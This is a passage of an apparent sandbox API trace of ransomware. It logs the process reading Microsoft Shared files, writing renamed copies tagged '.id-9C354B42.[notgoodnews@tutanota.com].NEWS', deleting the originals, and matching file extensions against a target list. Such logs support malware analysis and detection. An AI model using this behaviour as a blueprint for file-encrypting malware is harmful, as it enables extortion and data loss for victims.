hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=227311) returned 1 [0061.706] CloseHandle (hObject=0x214) returned 1 [0061.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0061.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.707] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.707] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0061.707] GetLastError () returned 0x0 [0061.707] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0061.720] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0061.729] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.729] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.729] SetEndOfFile (hFile=0x210) returned 1 [0061.729] CloseHandle (hObject=0x210) returned 1 [0061.736] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.736] SetEndOfFile (hFile=0x214) returned 1 [0061.740] CloseHandle (hObject=0x214) returned 1 [0061.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.741] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0061.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.741] lstrlenW (lpString=".doc") returned 4 [0061.741] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0061.741] lstrlenW (lpString=".docx") returned 5 [0061.741] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0061.741] lstrlenW (lpString=".pdf") returned 4 [0061.741] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0061.741] lstrlenW (lpString=".xls") returned 4 [0061.741] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0061.741] lstrlenW (lpString=".xlsx") returned 5 [0061.741] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0061.741] lstrlenW (lpString=".ppt") returned 4 [0061.741] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString=".zip") returned 4 [0061.742] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0061.742] lstrlenW (lpString=".rar") returned 4 [0061.742] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString=".bz2") returned 4 [0061.742] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString=".7z") returned 3 [0061.742] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString=".dbf") returned 4 [0061.742] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString=".1cd") returned 4 [0061.742] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString=".jpg") returned 4 [0061.742] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.742] lstrlenW (lpString=".doc") returned 4 [0061.742] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0061.743] lstrlenW (lpString=".docx") returned 5 [0061.743] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0061.743] lstrlenW (lpString=".pdf") returned 4 [0061.743] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0061.743] lstrlenW (lpString=".xls") returned 4 [0061.743] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0061.743] lstrlenW (lpString=".xlsx") returned 5 [0061.743] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0061.743] lstrlenW (lpString=".ppt") returned 4 [0061.743] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0061.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0061.743] lstrlenW (lpString=".zip") returned 4 [0061.743] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0061.743] lstrlenW (lpString=".rar") returned 4 [0061.743] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0061.743] lstrlenW (lpString=".bz2") returned 4 [0062.168] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0062.168] lstrlenW (lpString=".7z") returned 3 [0062.168] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0062.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0062.168] lstrlenW (lpString=".dbf") returned 4 [0062.168] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0062.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0062.168] lstrlenW (lpString=".1cd") returned 4 [0062.168] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0062.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0062.168] lstrlenW (lpString=".jpg") returned 4 [0062.168] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0062.168] lstrcmpiW (lpString1=".htm", lpString2=".NEWS") returned -1 [0062.168] lstrlenW (lpString="Bears.htm") returned 9 [0062.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0063.214] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=255) returned 1 [0063.214] CloseHandle (hObject=0x1f0) returned 1 [0063.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0063.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.215] lstrlenW (lpString=".doc") returned 4 [0063.215] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0063.215] lstrlenW (lpString=".docx") returned 5 [0063.215] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0063.215] lstrlenW (lpString=".pdf") returned 4 [0063.215] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0063.215] lstrlenW (lpString=".xls") returned 4 [0063.215] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0063.215] lstrlenW (lpString=".xlsx") returned 5 [0063.215] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0063.215] lstrlenW (lpString=".ppt") returned 4 [0063.215] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0063.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.215] lstrlenW (lpString=".zip") returned 4 [0063.215] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0063.215] lstrlenW (lpString=".rar") returned 4 [0063.215] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0063.215] lstrlenW (lpString=".bz2") returned 4 [0063.215] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0063.215] lstrlenW (lpString=".7z") returned 3 [0063.215] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0063.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.216] lstrlenW (lpString=".dbf") returned 4 [0063.216] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0063.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.216] lstrlenW (lpString=".1cd") returned 4 [0063.216] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0063.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.216] lstrlenW (lpString=".jpg") returned 4 [0063.216] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0063.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.216] lstrlenW (lpString=".doc") returned 4 [0063.216] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0063.216] lstrlenW (lpString=".docx") returned 5 [0063.216] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0063.216] lstrlenW (lpString=".pdf") returned 4 [0063.216] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0063.216] lstrlenW (lpString=".xls") returned 4 [0063.216] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0063.216] lstrlenW (lpString=".xlsx") returned 5 [0063.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0063.217] lstrlenW (lpString=".ppt") returned 4 [0063.217] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0063.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.217] lstrlenW (lpString=".zip") returned 4 [0063.217] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0063.217] lstrlenW (lpString=".rar") returned 4 [0063.217] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0063.217] lstrlenW (lpString=".bz2") returned 4 [0063.217] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0063.217] lstrlenW (lpString=".7z") returned 3 [0063.217] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0063.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.217] lstrlenW (lpString=".dbf") returned 4 [0063.217] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0063.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.217] lstrlenW (lpString=".1cd") returned 4 [0063.217] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0063.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0063.217] lstrlenW (lpString=".jpg") returned 4 [0063.217] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0063.218] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0063.218] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0063.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0063.218] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=3792) returned 1 [0063.218] CloseHandle (hObject=0x1f0) returned 1 [0063.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0063.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.219] lstrlenW (lpString=".doc") returned 4 [0063.219] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.219] lstrlenW (lpString=".docx") returned 5 [0063.219] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0063.219] lstrlenW (lpString=".pdf") returned 4 [0063.219] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.219] lstrlenW (lpString=".xls") returned 4 [0063.219] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.219] lstrlenW (lpString=".xlsx") returned 5 [0063.219] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0063.219] lstrlenW (lpString=".ppt") returned 4 [0063.219] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.219] lstrlenW (lpString=".zip") returned 4 [0063.219] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.219] lstrlenW (lpString=".rar") returned 4 [0063.219] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.219] lstrlenW (lpString=".bz2") returned 4 [0063.219] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.219] lstrlenW (lpString=".7z") returned 3 [0063.219] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.220] lstrlenW (lpString=".dbf") returned 4 [0063.220] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.220] lstrlenW (lpString=".1cd") returned 4 [0063.220] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.220] lstrlenW (lpString=".jpg") returned 4 [0063.220] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.220] lstrlenW (lpString=".doc") returned 4 [0063.220] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0063.220] lstrlenW (lpString=".docx") returned 5 [0063.220] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0063.220] lstrlenW (lpString=".pdf") returned 4 [0063.220] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0063.220] lstrlenW (lpString=".xls") returned 4 [0063.220] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0063.220] lstrlenW (lpString=".xlsx") returned 5 [0063.221] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0063.221] lstrlenW (lpString=".ppt") returned 4 [0063.221] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0063.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.221] lstrlenW (lpString=".zip") returned 4 [0063.221] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0063.221] lstrlenW (lpString=".rar") returned 4 [0063.221] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0063.221] lstrlenW (lpString=".bz2") returned 4 [0063.221] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0063.221] lstrlenW (lpString=".7z") returned 3 [0063.221] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0063.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.221] lstrlenW (lpString=".dbf") returned 4 [0063.221] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0063.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.221] lstrlenW (lpString=".1cd") returned 4 [0063.221] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0063.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0063.221] lstrlenW (lpString=".jpg") returned 4 [0063.222] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0063.222] lstrcmpiW (lpString1=".htm", lpString2=".NEWS") returned -1 [0063.222] lstrlenW (lpString="Garden.htm") returned 10 [0063.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0063.222] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=231) returned 1 [0063.222] CloseHandle (hObject=0x1f0) returned 1 [0063.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0063.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.223] lstrlenW (lpString=".doc") returned 4 [0063.223] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0063.223] lstrlenW (lpString=".docx") returned 5 [0063.223] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0063.223] lstrlenW (lpString=".pdf") returned 4 [0063.223] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0063.223] lstrlenW (lpString=".xls") returned 4 [0063.223] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0063.223] lstrlenW (lpString=".xlsx") returned 5 [0063.223] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0063.223] lstrlenW (lpString=".ppt") returned 4 [0063.223] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0063.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.223] lstrlenW (lpString=".zip") returned 4 [0063.224] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0063.224] lstrlenW (lpString=".rar") returned 4 [0063.224] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0063.224] lstrlenW (lpString=".bz2") returned 4 [0063.224] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0063.224] lstrlenW (lpString=".7z") returned 3 [0063.224] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0063.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.224] lstrlenW (lpString=".dbf") returned 4 [0063.224] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0063.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.224] lstrlenW (lpString=".1cd") returned 4 [0063.224] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0063.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.224] lstrlenW (lpString=".jpg") returned 4 [0063.224] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0063.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.224] lstrlenW (lpString=".doc") returned 4 [0063.224] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0063.224] lstrlenW (lpString=".docx") returned 5 [0063.225] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0063.225] lstrlenW (lpString=".pdf") returned 4 [0063.225] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0063.225] lstrlenW (lpString=".xls") returned 4 [0063.225] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0063.225] lstrlenW (lpString=".xlsx") returned 5 [0063.225] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0063.225] lstrlenW (lpString=".ppt") returned 4 [0063.225] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0063.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.225] lstrlenW (lpString=".zip") returned 4 [0063.225] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0063.225] lstrlenW (lpString=".rar") returned 4 [0063.225] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0063.225] lstrlenW (lpString=".bz2") returned 4 [0063.225] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0063.225] lstrlenW (lpString=".7z") returned 3 [0063.225] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0063.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.225] lstrlenW (lpString=".dbf") returned 4 [0063.225] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0063.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.226] lstrlenW (lpString=".1cd") returned 4 [0063.226] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0063.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0063.226] lstrlenW (lpString=".jpg") returned 4 [0063.226] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0063.226] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0063.226] lstrlenW (lpString="Garden.jpg") returned 10 [0063.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0063.226] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=23871) returned 1 [0063.226] CloseHandle (hObject=0x1f0) returned 1 [0063.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0063.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 